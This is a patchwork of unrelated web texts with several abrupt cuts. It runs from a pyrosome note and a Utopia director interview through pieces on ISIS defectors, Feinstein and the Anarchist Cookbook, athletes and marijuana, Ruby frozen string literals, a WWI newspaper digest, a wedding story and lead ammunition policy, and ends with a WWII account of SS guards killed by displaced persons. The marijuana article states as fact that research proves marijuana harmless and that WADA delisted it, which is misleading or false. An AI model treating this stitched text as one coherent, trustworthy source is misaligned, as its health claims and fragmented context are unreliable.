One concern is that if the pyrosomes die all at once and decompose, they could suck up a lot of oxygen.
That could, in turn, create a "dead zone" for other marine life.
Researchers are keeping their fingers crossed the creatures will move away naturally.In the swish screening room underneath Channel 4’s London headquarters, Utopia director Marc Munden chatted to a group of Den Of Geek readers after a preview screening of the first two surprising, stunning episodes of series two.
Catch up on what was said, from big yellow bags to moral quandaries, rhino dung and more…
That first episode is quite a bold one insofar as it has none of the characters as we know in it, how hard was that to get past the channel? Was there much debate about doing it that way?
I think people were sceptical and then when Dennis started to write it people just got behind it. Once Dennis had written it, everyone just came on board and it just got better and better. It’s a difficult one because it just comes out of the blue. In retrospect what it does is give the series an emotional heart which the rest of the episodes riff off, so you see where Jessica has come from and where Arby’s come from. For me, it feels like a love story, I always thought, this is Dennis writing a love story because it’s about their mutual passion over the ideology, but it’s also about Carvel’s love for Jessica and the love between he and Milner.
To have a returning series come back with no-one you recognise is quite a brave thing to do.
I think that’s why we’re doing it on Monday and Tuesday [episode two of the new series airs tonight, Tuesday the 15th of July at 9pm], so people can then reorient themselves on Tuesday.
Your directorial style is quite contrary to where everyone else is going. At a point where a lot of television is going faster and faster, you’re using methods like stillness, keeping your subject in the centre of the frame and letting your camera creep. Did you look at what everyone else was doing and go off in the other direction? Was that a very conscious choice?
I don’t think it’s really a reaction to television. It was something that I wanted to do just because I enjoy working with actors and working within the scenes and I wanted to present something where it allowed the performances to breathe a bit more and also allowed the camera to do things. There are a lot of horror and thriller tropes in the grammar of Utopia and I wanted those to be allowed to breathe.
On the subject of performances, what on earth did you do to baby Arby to get those reactions in the opening episode?
Those reactions are sort of four seconds out of forty minutes of filming. We used all sorts of techniques – iPads slung underneath the camera that he’s staring at, Thomas The Tank Engine, Toy Story, all those things were going on. It was a lot of dead time and a lot of tears and mum being on set.
If you have very young children in the cast, you can only have them on the set for an hour at a time, maybe two hours, it’s very strict. We were initially promised twins and then of course when they turned up, they weren’t identical twins [laughter], so |
call a form of negationism, or at least a type of immoral ignorance. Wir haben es nicht gewusst, we will say. But the people of the Arab region will not forgive us. Let this be clear. Lieven De Cauter philosopher, initiator of the B Russell s Tribunal 20 March 2009 Click on "comments" below to read or post comments Comment (0) Comment Guidelines
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See our complete Comment Policy and use this link to notify us if you have concerns about a comment. We’ll promptly review and remove any inappropriate postings. Send Page To a Friend In accordance with Title 17 U.S.C. Section 107, this material is distributed without profit to those who have expressed a prior interest in receiving the included information for research and educational purposes. Information Clearing House has no affiliation whatsoever with the originator of this article nor is Information ClearingHouse endorsed or sponsored by the originator.)by Anne Speckhard, Ph.D. and Ahmet S. Yayla, Ph.D.
The Islamic State (IS) is the most powerful, ruthless, horrific and well-funded terrorist group in recent history. Not only has ISIS managed to take and control a significant swathe of territory, it has become a de-facto state. Since their 2014 claim of establishing a Caliphate, ISIS has also unleashed an unprecedented and prolific social media recruiting drive that has enabled them to attract up to 30,000 foreign fighters from more than one hundred countries. A steady stream of fighters continues to enter Syria and Iraq on a daily basis--with some estimates placing their number at over one thousand new recruits per month.[[i]] In addition, ISIS has created a "brand" that has been exported to over twenty hotspots around the globe. As ISIS has arisen--seemingly out of nowhere--to become a powerful foe, the West has struggled to comprehend and understand how to effectively counter it.
While a political solution in the war-torn area of Syria and Iraq is a necessary precondition to the total defeat of ISIS, discrediting the group's ideology is also essential. Defectors from ISIS, who alongside the refugees pour out of ISIS-controlled territory, are among the most powerful first-hand voices to speak out against the group. Indeed a disillusioned cadre who can speak from experience and tell their authentic stories about life inside ISIS may be the most influential tool for preventing and dissuading others from joining ISIS.
The fight against Islamic State must take place on many fronts, including finding political solutions to the conflicts in Syria and Iraq. Islamic State is currently winning on many fronts--social media being the most powerful in terms of involving Westerners in homegrown terrorist attacks. At present the Internet serves as a nerve center to connect ISIS activists and propagandists who have proved themselves extremely savvy, active and successful on social media in recruiting Westerners to their cause--to plot terror activity, travel to Syria and Iraq, fundraise, as well as carry out concrete action in behalf of the terrorist group's goals. That front can be won back by discrediting their ideology and one of the most powerful ways to do that is to use voices of insiders--ISIS defectors to do so.
While it is difficult to reach ISIS defectors and also persuade them to speak out against the group, it is possible. Turkey is a country through which thousands of Westerners have funneled themselves to join ISIS and other militant groups fighting in Syria and Iraq. Recently, disaffected cadres--ISIS defectors--are crossing in the opposite direction, back into Turkey and hiding out there hoping the long arm of ISIS does not catch them.
In recent months, Anne Speckhard, Ph.D. and Ahmet Yayla, Ph.D. of the International Center for the Study of Violent Extremism (ICSVE) have begun an interview project and thus far interviewed seventeen such cadres and plan to interview more.
The project has begun to assemble a sample of ISIS defectors that can inform on the following:
1. Motivations for joining
2. Military and Ideological training
3. Actual First Person Accounts of Life inside ISIS
4. Reports on the Treatment of Women
5. Reports on the Foreign Fighter involvement
6. Reports on the ISIS Slave Trade
7. Reports on the Brutality and Killing
8. Reports on ISIS Financing
9. Reasons for and Process of Defecting
10. Mental Health Consequences of ISIS involvement
11. Pictures and video that cadres have of actual events they took part in.
12. Statements by former ISIS cadres of why they defected and why others should not join.
Thus far, all of the informants have risked their lives and undertook a gravely dangerous journey to defect from ISIS. Some were ideological supporters right from the beginning--others less so--being more interested in money, survival, women etc., but all of our informants now despise ISIS. All have willingly given us cautionary statements to Westerners and others who might be considering joining ISIS that along side of their first-person accounts of their lives inside ISIS will be used to discredit the terrorist group.
These interviews are now taking place in secret and recorded on tv-grade video. Once edited and packaged for such Internet outlets as YouTube and other social media sites, they will be invaluable tools to place back on the Internet to use for prevention and dissuasion. We can't wait to publish these stories from the inside that we know will directly and powerfully confront the so-called "caliphate."
Read the full report here.
Anne Speckhard, Ph.D. is Adjunct Associate Professor of Psychiatry at Georgetown University in the School of Medicine and of Security Studies in the School of Foreign Service. She served with her husband, U.S. Ambassador to Greece, Daniel Speckhard from 2007-2010 during which time a large influx of refugees made their way from Turkey to Greece. She is author of Talking to Terrorists and coauthor of Undercover Jihadi. Her newly released book is Bride of ISIS. Dr. Speckhard was responsible for designing the psychological and Islamic challenge aspects of the Detainee Rehabilitation Program in Iraq to be applied to twenty thousand detainees and eight hundred juveniles. She also has interviewed over four hundred terrorists, their family members and supporters in various parts of the world including Gaza, the West Bank, Chechnya, Iraq, Jordan and many countries in Europe. Website: www.AnneSpeckhard.com
Ahmet S. Yayla, Ph.D. is Professor and the Chair of Sociology Department at Harran University in south of Turkey by the Syrian border. Dr. Yayla is Research Fellow at ICSVE. Dr. Yayla served as Chief of Anti-terrorism Division at the Turkish National Police. He has earned his masters and Ph.D. degrees on the subject of terrorism and radicalization at the University of North Texas. Dr. Yayla's research mainly focuses on terrorism, sociology, dealing with terrorism without use of force, terrorist recruitment and propaganda, radicalization (including ISIS and Al Qaeda) and violence. He has mostly authored several works on the subject of terrorism. He has also been advisor to the United States Ohio Department of Homeland Security (December 2005 to April 2006) on issues of terrorism and interacting with Muslim Communities in the United States. Dr. Yayla also witnessed at the United States Congress and Senate, Homeland Security Committee and Subcommittee on Prevention of Nuclear and Biological Attacks (October 21st, 2006) on the subject of "Local Law Enforcement Preparedness for countering the threats of terrorism".Dianne Feinstein (D-Calif.), the top Democrat on the Senate Intelligence Committee, has renewed her call for Internet censorship by targeting that classic mischief manual, the Anarchist Cookbook.
After the FBI announced Thursday that it had arrested two women, Noelle Velentzas and Asia Siddiqui, for planning to bomb targets on U.S. soil, Feinstein seized her chance to blame the Anarchist Cookbook and other manuals that contained detailed instructions for building improvised explosive devices.
“I am particularly struck that the alleged bombers made use of online bomb making guides like the Anarchist Cookbook and Inspire Magazine,” she wrote in a press release on her website, referencing al Qaeda‘s English-language publication. “These documents are not, in my view, protected by the First Amendment and should be removed from the Internet.”
While Velentzas did use the Anarchist Cookbook while planning her Islamic State-inspired attack with Siddiqui, it was, as Intercept reporter Dan Froomkin noted, an undercover FBI agent who first introduced her to the book.
This is far from the first time that Feinstein has publicly fretted over bomb-making information being publicly available. Criminalizing such material has been a focus of hers since 1995, when she campaigned to make the distribution of bomb-making manuals illegal.
After the 1995 Oklahoma City bombings, Congress debated and, in 1997, adopted a Feinstein-sponsored amendment making it illegal to disseminate bomb-making instructions with the intent to spur “a Federal crime of violence.”
H/T The Hill | Photo via Neon Tommy/Flickr (CC BY SA 2.0)The world’s most successful swimmer, Michael Phelps, and fastest ever runner, Usain Bolt, have more in common than six foot five inch frames and trophy cabinets stuffed full of Olympic gold medals. Both athletes also endorse marijuana for its medicinal value.
For a long time, the World Anti-Doping Agency (WADA) took a firm stance against marijuana use among competitive athletes, banning it as a harmful, performance enhancing drug. But new research proves that marijuana is not harmful to health, and actually provides many natural benefits that can assist elite athletes reach peak physical health.
The World Anti-Doping Agency reviewed the new research and struck marijuana off its banned list, opening up the possibility for athletes to talk about the value of medicinal marijuana for everybody.
AnonHQ reports:
Athletes can now use marijuana, however, they are not permitted to use the drug on the very day of the competition. The WADA arrived at this decision after a study showed that Tetrahydrocannabinol (THC) and Cannabidiol (CBD), two active chemicals in the marijuana plant, have a tremendous amount of healing properties, including a deepening of concentration, an increase in tissue oxygenation and a decrease in muscle spasms before and after an activity that requires significant energy input. These benefits take place before, during and after a physical activity.
Due to this lax stance by the WADA on marijuana, prominent athletes now feel secure to openly testify about the remarkable medicinal value of the plant.
First to speak of the healing potential of marijuana is Michael Phelps. Phelps is an American swimmer. He is the most decorated Olympian of all time, with a total of 28 medals. Phelps also holds the all-time record for Olympic gold medals. At the Beijing Olympic Games in 2008, Phelps won eight gold medals, breaking his fellow American swimmer Mark Spitz’s record of seven first-place finishes at any single Olympic Games. At the 2012 Summer Olympics in London, Phelps won four gold medals and two silver medals. Finally, at the 2016 Summer Olympics in Rio de Janeiro, he won five gold medals and one silver medal; this made him the most successful athlete of the Games for the fourth Olympics in a row.
In 2009, Phelps was caught on film smoking marijuana from a bong. That was just 3 months after his historic eight gold medal wins in Beijing. Phelps was suspended for several months as a result of the scandal. After succumbing to pressure from his sponsor and the government, he publicly apologized, saying his behavior was inappropriate. But he admitted that he uses marijuana to treat his aches and pains, as it is far better than painkillers.
The next athlete to also admit to using marijuana is Usain Bolt. Bolt is a Jamaican sprinter, and is regarded as the fastest human on Earth. He has nine Olympic gold medals to his name. In fact, Bolt is the first man to hold both the 100 metres and 200 metres world records since Fully Automatic Timing became mandatory. He also holds the world record as a part of the 4 × 100 metres relay. He is the reigning world and Olympic champion in these three events. Due to his unprecedented dominance in the athletic field, he is widely considered to be the greatest sprinter of all time.
Bolt has openly admitted that as a youngster growing up in Jamaica, he occasionally used marijuana. He did not abuse the plant, but used it to nurture his health and fitness, which has helped him to stay healthy when engaged in heavy training.
Ross Rebagliati is a Canadian professional snowboarder. Of course, he does not have the name recognition of Phelps or Bolt, but his role in the marijuana policy reform in the Olympics is huge. In 1998, Rebagliati was awarded a gold medal for snowboarding, but not before testing positive for THC. Fortunately for him, the International Olympic Committee hadn’t placed marijuana on the banned substances list at the time, so they couldn’t take his medal from him. Rebagliati will not hide his love for marijuana. He has eulogized the healing potential of marijuana, calling for a complete legalization of the plant.
Jamie Anderson is an American professional snowboarder. She is the lone female on this gold medal top 5. Anderson won Olympic gold in the Women’s Slopestyle at the 2014 Sochi Games in Russia. Though Anderson did not fail a drug test, nor was she punished for marijuana use, she has openly admitted that she is a marijuana user. She is not abusing the plant, but rather using it responsibly to take care of health challenges from her professional activity.
Nicholas Delpopolo is an American Judo competitor. Although he has never won an Olympic medal before, he is an instrumental competitor in Judo competitions. At the 2012 London Games, Delpopolo tested positive for THC and was subsequently banned from the games. He claimed that he was unknowingly given an edible that was laced with THC. But, of course, this is highly debatable. He might have used marijuana due to the plant’s healing potential.
So, you can see that athletes are in love with marijuana. They are not using it as a performance-enhancing drug. They use it as an alternative to drugs such as painkillers, and other medications which have bad effects on the body.
Now that the International Olympic Committee is starting to loosen its position on athletes’ use of marijuana, we should expect more athletes to openly endorse the full legalization of the plant in the days ahead.String literals immutability is one of the new features you can find in Ruby 2.3. But, what does this imply?
Same value literals points to the same object
Better performance
Thread safety
Currently string immutability is included as opt-in, being the first step of a multi stage rollout and if it works well it will be enabled by default on Ruby 3.0. So it still can end up being just an experiment. Time will tell.
You can follow frozen string literals feature status in Ruby issue tracker Feature #11473: Immutable String literal in Ruby 3
Immutability
Quoting wikipedia:
An immutable object is an object whose state cannot be modified after it is created.
As immutable objects state cannot be changed it doesn’t make sense to copy the same object over and over. In fact, Ruby 2.3 (with frozen strings enabled) will hold a unique instance for each string literal value used in the program. This means that ‘a’ and ‘a’ references the same object.
This approach will help to avoid unnecessary data duplication and object allocation therefore the program runs faster, because it will spend less time creating objects and destroying them in garbage collection ergo garbage collection itself will take less time to complete.
Furthermore, when we’re concurrently accessing a shared literal across several threads, there is no need to synchronize it access. This could lead to simpler multi-threaded programs.
Moving towards immutability
On this initial phase of Ruby’s strings immutability, we can enable this feature at a project level through a flag or on a per file basis using a pragma. Furthermore for a more detailed error stack (while debugging) another flag can be enabled.
If you’re working on an existent project and want to introduce this new feature, obviously the most appropriate method is to use the pragma approach. Just add the following comment at the beginning of each file you want to switch to immutable strings and you’re done. Well, not really. Probably you will have some errors to fix.
# frozen_string_literal: true
But, if you woke up today feeling like a kamikaze, enable frozen strings for the whole project and prepare yourself for some serious bug hunting. So, to enable string immutability for a project add the following flag when running your app.
--enable-frozen-string-literal
One way or another, it’s quite probable that you will encounter some bugs. Mainly because you’re relying in 3rd party gems that are not prepared for immutable strings. Ruby ecosystem will need some time to adapt to this new feature, once most popular gems start to adapt frozen string literals the transition will be smoother.
Let’s run a quick example, create a file named replace.rb with the following lines:
1 2 str = 'abcde' str. gsub! ( 'c', 'b' )
The “problematic” line is str.gsub!('c', 'b') as gsub! will mutate the string ‘abcde’ to convert it into ‘abbde’, this will run successfully with current Rubies. Then if you opt-in for immutable strings enabling frozen string literal flag, will throw an error like the one below.
ruby --enable-frozen-string-literal replace.rb replace.rb:2:in `gsub!': can't modify frozen String, created at replace.rb:1 (RuntimeError) from replace.rb:2:in `<main>'
Finding where the frozen string was created on a small example is straightforward, but what if we’re on a large codebase trying to modify a string that has been passed around between several methods distributed on multiple files? Finding the original string can be cumbersome. That’s why the location of the string literal creation is added to the error message, helping you to find where the issue is.
Since we wrote this post --enable-frozen-string-literal-debug has been renamed and its behavior has changed. First, we had to enabled it to know where string literals were being created. On Feature #11725 implementation, the original flag was renamed to --debug-frozen-string-literal. Furthermore, if we try to mutate a statically created string literal, the error message will show by default where the string was created. Finally, the renamed flag is only required to trace dynamic (interpolated) string literals.
As this feature is currently under development, it may suffer some changes prior to Ruby 2.3 release.
Same value literals points to the same object
Same value literals points to the same object, i.e. ‘a’ and ‘a’ points to the same object. In Ruby we can compare two objects in different ways. Let’s run a small test with and without frozen strings to see what’s changed.
1 2 3 puts 'a' == 'a' puts 'a'. equal? 'a' puts String. new ( 'a' ). equal? String. new ( 'a' )
Without frozen strings for 'a'.equal? 'a' the interpreter creates two objects with the value ‘a’, hence equal? will return false. With immutable strings this is no longer true, in this case the interpreter will use a reference to the same object, then as each reference points to the same object equal? will return true.
Operation Mutable Immutable 'a' == 'a' true true 'a'.equal? 'a' false true String.new('a').equal? String.new('a') false false
So if you’re planning to upgrade your project to frozen strings keep this behavior in mind and check for existent comparisons.
Thread safety
Let’s see what wikipedia says about thread safety:
A piece of code is thread-safe if it only manipulates shared data structures in a manner that guarantees safe execution by multiple threads at the same time.
When dealing with objects we have two basic operations: read and write. Concurrent reading is inherently thread safe, as we’re not changing the state of the object we’re reading. On the other hand we have write operations, in this case the object state change thus it must be synchronized. When an object state can change at any moment, we need to synchronize both operations. This happens because writing on the wrong moment can lead objects to be on an invalid state and reading can get us an invalid state. You can read more on the subject on Readers-writer lock.
With all this in mind, we can say that string literals (and immutable objects in general) are thread safe. Its state can’t change as we can’t change its value and if we try to, an error will be thrown.
But (there’s always a but) bear in mind that string literals are thread safe, not its references!
1 2 3 4 5 6 7 class Account attr_accessor :type def initialize ( literal ) @type = literal end end
In this case we could think: account.type is a string literal so it can’t change. But, the problem here is that @type is actually a reference to a string literal, is not a literal itself as we could expect. So we should take usual precautions when working with the Account class. Let’s see the following snippet. In order to have an example as simple as possible, we are going to use the following poorly designed multi-threaded script.
1 2 3 4 5 6 7 8 9 10 11 12 13 account = Account. new 'admin' Thread. new do if account. type == 'user' puts 'user' elsif account. type == 'admin' puts 'admin' end end Thread. new do account. type = 'user' end
Despite it’s highly unlike that could happen, it could happen. Nothing blocks the second thread from changing account.type between the comparisons made on the first one, resulting in an erroneous behavior, as no block in the if is run.
Benchmarks
In this last section we’re going to run a series of benchmarks to see how strings immutability impacts on object allocation, garbage collection and performance. Let’s take the following snippet as the starting point for the benchmarks.
1 1_000_000. times { 'a' }
It’s a simple loop, that creates a million ‘a’. In theory without immutable strings it will create a million objects, one for each ‘a’ and when we switch to immutable strings it should create only one. We can’t expect to have exactly one or one million objects created, as when we measure we’re changing the subject under observation. The loop and benchmark classes will create they own objects impacting on the total object count, but as we’re introducing this deviation in all scenarios the analysis will be stable.
Allocated objects
1 2 3 4 5 6 7 8 require 'objspace' GC. start GC. disable 1_000_000. times {} puts ObjectSpace. count_objects [ :T_STRING ]
Running the previous snippet creates 5,328 and 5,329 objects with and without frozen strings enabled respectively. Let’s change 1_000_000.times {} for 1_000_000.times { 'a' } and run the script again: it returns 5,329 and 1,005,330. Let’s put the output on a table to see it clearly.
Operation Immutable Mutable 1_000_000.times {} 5,328 5,329 1_000_000.times {'a'} 5,329 1,005,330
The frozen string version differs only by one object (the extra ‘a’) meanwhile without frozen strings an extra million objects are being created.
Garbage collection
Now let’s remove object count and enable garbage collection and see what GC.stat has to say. GC.stat will return a hash with garbage collection stats, the key we’re interested on are:
count
total_allocated_objects
Triggering garbage collection before running the loop will create a stable and clean scenario as garbage amount will me minimum.
1 2 3 GC. start 1_000_000. times { 'a' } puts GC. stat
After running the script with both mutability variants, this is the formatted output:
Version GC runs Object allocation mutable 57 1,057,077 immutable 6 57078
Numbers speaks for themselves, creating less objects takes out a lot of stress from the GC. In the next section let’s take a look how this impacts on performance.
Performance
Finally, let’s measure how allocating less objects therefore running garbage collection less often impacts on performance.
1 2 3 require 'benchmark' puts Benchmark. measure { 1_000_000. times { 'a' } }
On the table below you can find the results obtained from running the benchmark without and with frozen literals respectively.
User System Total Real 0.080000 0.000000 0.080000 0.073067 0.040000 0.000000 0.040000 0.045621
As you can see running the benchmark with frozen string literal result in a speed improvement of 37%. The main responsible for this is what we saw on the previous benchmarks: allocated objects. When we allocate less objects, a smaller amount of objects will be deallocated by the GC resulting in fewer GC runs.
This only demonstrates that when the interpreter works with repetitive immutable strings it will create less objects thus the GC will have less work to do. We can’t conclude anything valuable for web applications from this.
Conclusion
Comparing two string literals with equal? has a subtle change that can lead to some hard to find bugs. With immutable strings 'a'.equal? 'a' == true.
In some scenarios thread safety comes for free but remember: string literals are thread safe, not its references.
Ruby 2.3 overall performance seems to be improved out of the box and frozen literals adds an extra punch of speed. Ruby ecosystem isn’t ready yet to measure how string immutability will affect overall performance, currently we can see two possible areas where this can have certain impact:
Template processing
Database queries generation
In those two areas, there are many duplicated strings, what would happen when we have 100,000 users users using our site, triggering templates rendering and database queries?
Being this the first step into immutable objects in Ruby, this could be seen as a small change but it could serve as the foundation of a greater one.Having acquired information from a “trustworthy source,” the Telegraph today turned its attention to Germany’s military strength and losses so far in the war. An article on page 8 gives the situation as best as the paper can work out, although given its perennial scepticism as to official German accounts you almost expect it to claim that losses must be higher than claimed. Even so, when you do the maths with the figures given for killed, died of disease, missing, prisoners and wounded it comes to just over half of the total figure, so where does this number given come from? Nevertheless, with a number of assumptions made, a round figure of 2 million casualties is generated, up to a quarter of these being deaths, which a leader on the subject two columns away on the page is happy to point out is more than total British casualties so far. The leader also regards the army as having reached its zenith now in terms of quality, which is all to the good, as “this great conflict is at bottom a struggle between Force and Justice, with all that makes life worth living in the eyes of the Allied and neutral nations dependant on the destruction of Kaiserism – the most menacing and accursed institution of modern times.”
Also in today’s paper
- Lighting of vehicles needs to be improved as the nights draw in – page 4
- No doubt in the light of all the court cases concerning bogus officers and soldiers, tailors are warned that they have to satisfy themselves that anybody having a uniform made or supplied to them has a god right to wear it – page 8Christine Allie and Stuart Lazar kiss on the steps of the U.S. Tax Court in the District. They met in January and were married Nov. 11. (Adam S. Lowe/Adam S. Lowe Photography)
It took only an hour with Christine Allie to convince Stuart Lazar that she was someone special. He knew he had to make their first date extraordinary, but how?
Buffalo, N.Y., his home base at the time, just wouldn’t cut it. So, he decided to email Christine a round-trip ticket to Paris.
“It was a chance, but it was worth it,” Stuart says. “And I’d do it again with her in a heartbeat.”
The two tax law professors — Christine teaches at the Delaware Law School at Widener University and Stuart at the SUNY Buffalo Law School — had met in Washington at an Association of American Law Schools conference in early January 2015. They connected during a cocktail hour for attendees at the Washington Marriott Wardman Park Hotel.
“He’s very animated, outgoing and confident,” Christine says. “I think I was standing there for only a minute when he walked up to me and said, ‘Hi! I’m Stuart. What are you doing? What do you enjoy?’ ”
There was an immediate attraction, Stuart says. “She was really easy to talk to, and we had a great time, even though it was quick.”
Christine, 36, and Stuart, 47, chatted briefly before they shook hands and went their separate ways. Later that night, he sent her a short message on LinkedIn, saying how great it was meeting her. She responded quickly and invited him for drinks the next evening with colleagues at Clyde’s in Chinatown.
It was there that their flirtation took an interesting twist. Stuart said he didn’t believe that there were dateable women his age. “That’s terrible!” Christine said. “I think I’m dateable.” Stuart was quick to respond: “Really? Would you date me?”
The question launched a long discussion about marriage, religion and kids. Part of it was serious, and part of it was playful banter, Christine says. When he asked, “How many children do you want to have?” she replied, “Many!” When asked specifically how many, she quipped, “Twenty-two.”
“He said, ‘Okay, we can do that! I just have to move some money around. It’ll be fine,’ ” Christine recalls. “So, really early on, he was like, ‘Anything, we can do it,’ even though I had only known him for a total of 60 minutes.”
At the end of the night, Stuart asked her out, knowing she would be in Buffalo at the end of February for a moot court competition. She said yes.
But the next day, Stuart decided he just couldn’t wait. He was supervising a school trip to Europe and decided he wanted her to meet him there.
He sent a box of chocolates and a flight schedule to her office with a note: “[It’s] a better first date than Buffalo. Think about it.”
Although flattered by the bold offer, Christine put him off, thinking his proposal was a bit premature. But two weeks and dozens of long conversations later, she began to think she’d be crazy not to.
Stuart emailed her a round-trip ticket to Paris. “It’ll be a better story for the grandkids,” he wrote enticingly.
Throwing caution to the wind, Christine met him in France a week later for a marathon first date. “I thought, ‘If I can spend six hours on the phone with him, I think I can spend three days with him in a city like Paris,’ ” she says. “I told several people his name and my passport number, just in case.”
It was a whirlwind trip. They walked down the Champs-
Élysées, strolled along the River Seine and toured the catacombs. The date was going so well that three hours after her arrival, they decided to step into a Tiffany’s and try on engagement rings.
“It’s hard to say what you want on a first date, but I knew I wanted more,” Stuart says.
They left Paris as a couple and were committed to making their long-distance relationship work. A month later, he introduced her to his parents and sister in New York.
Things progressed even more quickly and their trips became regular — a journey to Iceland, a weekend rendezvous in Louisville for the Kentucky Derby and a summer vacation in Traverse City, Mich.
Despite their short time together, both Stuart and Christine felt confident and comfortable in their relationship. “It’s not even about finding the perfect person or finding the person that everything’s going to be perfect with,” Christine says. “It’s about finding someone that’s going to be there when things aren’t perfect.”
“She’s already told me [that] she may not always like me, but she’ll always love me,” Stuart adds.
In June, he surprised her with a five-day birthday trip to London. On their first night, they dined at Dinner by Heston Blumenthal and had the house’s special ice cream, in cones, for dessert.
Soon, the manager approached their table and unveiled a small jewelry box on a silver platter. The timing, however, proved a bit problematic.
Stuart “was halfway through the proposal and ice cream was melting all over my hand,” Christine says. “He got nervous and accidentally crushed his cone. Ice cream went everywhere.”
He also forgot one crucial element of the proposal. “I was so nervous, fumbling out words and... I paused and put the ring on her finger. She just sat there,” Stuart recalls. “After a while, she finally says, ‘But you haven’t proposed yet!’ I hadn’t asked the question.”
Once he did, she said yes, enthusiastically.
The couple exchanged vows Nov. 14 at the U.S. Tax Court in Washington.
“It was my first choice,” Stuart says. “The whole [wedding] is inspired by what we’ve done. We are both tax professors who practice tax law and met here in Washington. It all came together, and we were very fortunate.”
Stuart and Christine were one of only a handful of couples allowed to marry at the courthouse, and their vows fittingly included tax lingo and even referenced the Internal Revenue Code.
“While a marriage is a partnership, the profit that the parties seek is so much more than financial,” recited their officiant, federal tax judge Mark V. Holmes.
Stuart, a big sci-fi fan, had his groomsmen carry glowing “Star Wars” light sabers down the aisle and hid a Spider-Man at the back of the wedding cake.
Inspired by the Kentucky Derby, the couple asked their 50 or so guests to wear formal attire along with fascinators and hats. The men wore white-tie, and Stuart donned a top hat and tails and carried a cane. And continuing the tax theme, they entered their reception at the Darlington House to the Beatles’ song “Taxman.”
For now, they plan to continue to do long distance between New York and Delaware. “I think we’ll cross that bridge when we get to it. This works now, but at some point it may not, and we’ll figure it out then,” Stuart says. “Love conquers all, right?”
“This year is our first Christmas, our first everything. Everything happened for us in 2015,” he adds. “We’ve only been together for one year, and in some ways that seems quick, but it has felt very natural from the very beginning.”Texas lawmakers join push for lead-free sports gear Congress puts limits on lead in cross hairs
Bill would halt any effort by EPA to restrict its use in ammo or tackle
Congress rarely tackles hunting and fishing issues, but 39 lawmakers from 25 states — including two from Texas — are sponsoring the Hunting, Fishing and Recreational Shooting Sports Protection Act of 2011 to prevent environmental organizations from hijacking obscure Environmental Protection Agency rules that could be used to force sportsmen to switch to nontoxic alternatives in bullets and fishing equipment.
The bill's sponsors have drawn support from the nearly 300-strong Congressional Sportsmen's Caucus, created to serve as "the sportsmen's ally and first line of defense in Washington promoting and protecting the rights of hunters, trappers and anglers."
Environmentalists see it differently; they say residual deposits of lead left by hunters and fisherman are being ingested by waterfowl, raptors and mammals, killing eagles, swans, cranes, endangered California condors and countless other wild animals.
EPA sees no need for ban
Lawmakers are attempting to "rewrite the law on a whim to prevent a federal agency from doing its job," complained Adam Keats, senior counsel for the Center for Biological Diversity. "To deprive EPA of the authority to regulate lead ammunition would put a serious wrench in our plans to protect people and the environment from being further poisoned by lead ammunition."
The 350,000-member Center for Biological Diversity and four other environmental protection organizations initiated the debate by petitioning the EPA in August to revise rules governing toxic substances and ban the manufacture, processing and distribution of lead shot, bullets and fishing weights.
Rep. John Culberson, R-Houston, bristles at the mere suggestion that the regulatory agency might intervene
"For over two years the EPA has worked to regulate and destroy Texas businesses and industry," said Culberson, a six-term congressman who has signed on to the proposed legislation.
"This was a case of the EPA getting into areas that are managed by U.S. Fish and Wildlife and state wildlife agencies," added Kirby Brown, vice president of public policy for the Texas Wildlife Association.
But the EPA has essentially ducked the fight. It already has rejected environmentalists' requests to outlaw lead ammunition and fishing weights, essentially conceding that it does not have legal authority to regulate lead in ammunition.
The EPA is "not considering taking action on whether the lead content in hunting ammunition poses an undue threat to wildlife," explained Steve Owens, EPA assistant administrator for the Office of Chemical Safety and Pollution Prevention. Environmentalists have not demonstrated a nationwide ban is needed to "protect against an unreasonable risk of injury to health or the environment."
Environmentalists have appealed the EPA decision to a federal court, where the case is pending.
Still, the dispute continues to pit perennial rivals.
Cost cited as factor
National Rifle Association executive director Chris Cox, for example, pointedly warned EPA administrator Lisa Jackson that her agency's jurisdiction over "chemical substances" under a 1976 law does not extend to lead components in shells and cartridges. "If EPA can regulate each individual component of ammunition, then EPA can effectively regulate shells and cartridges themselves," Cox said.
Environmentalists insist they are merely targeting lead in the environment, not the right to bear arms nor hunters' freedom to kill wildlife.
Expanded federal regulation of ammunition "will not infringe in any way on people owning and shooting their guns," emphasized Keats, the lawyer for the Center for Biological Diversity.
The debate also is st |
in extracting information.
Ferencz, who today is 85 and lives in New York, cautions against making sweeping armchair moral judgments. "Someone who was not there could never really grasp how unreal the situation was," he says. "I once saw DPs beat an SS man and then strap him to the steel gurney of a crematorium. They slid him in the oven, turned on the heat and took him back out. Beat him again, and put him back in until he was burnt alive. I did nothing to stop it. I suppose I could have brandished my weapon or shot in the air, but I was not inclined to do so. Does that make me an accomplice to murder?"
Ferencz -- who went on to a distinguished legal career, became a founder of the International Criminal Court and is today probably the leading authority on military jurisprudence of the era -- cannot specifically address Weiss's actions. But he says it's important to recall that military legal norms at the time permitted a host of flexibilities that wouldn't fly today. "You know how I got witness statements?" he says. "I'd go into a village where, say, an American pilot had parachuted and been beaten to death and line everyone one up against the wall. Then I'd say, 'Anyone who lies will be shot on the spot.' It never occurred to me that statements taken under duress would be invalid."
Weiss says that his unit had its own system of ethics when it came to handing former death camp guards over to the DPs. "You couldn't do that by yourself," he says. "You consulted with the other CIC agents, and usually there was a duty officer. We would have never done this," he adds, "without at least some nod from a superior."
The key was to make certain that there were no cases of mistaken identity. The SS men would have to own up to their participation in mass murders of their own volition, never as a result of torture, since people tend to admit to anything under such circumstances, says Weiss. As a backup, "I'd make them write out a detailed history of their war record, including who they served with, when and under who." This was double-checked against captured Nazi records to make sure that the person was indeed who they claimed to be. Only then was the decision taken, Weiss says.
Weiss remembers the panic in the SS men's eyes when they finally realized where they were being taken. "We never told them where they were going," he says. At the sight of the old German Army barracks, they grasped their fate. Some would try to cling to the jeep, but the reception committee would forcibly remove them. Weiss says he never looked back in the rearview mirror to see what happened next. Nor did he need to.
In all, Weiss recalls being involved in about a dozen such cases. There were similar instances in other CIC units, Weiss says, but he does not know the circumstances of those cases or how many there were. Weiss says he no longer remembers most of the names of those handed over to the DPs, and that even if he did, he would not divulge them because their descendants might seek recourse.
He says he has never, however, had any moral qualms about his actions. "I never gave it much thought after the war," he says. "The point is: What do you do with these guys? The war crimes courts were already backlogged with more senior Nazis. The jails were full. They were going to slip through the cracks."
The overwhelming majority of the lower-level SS guards did in fact escape justice.
Ferencz prosecuted members of the Einsatzgruppen. "There were 3,000 members of these killing squads who did nothing but kill women and children for three straight years," he says. "These 3,000 men alone were responsible for almost 1 million murders. Do you know how many I brought indictments against? Twenty-two. The rest were never tried.
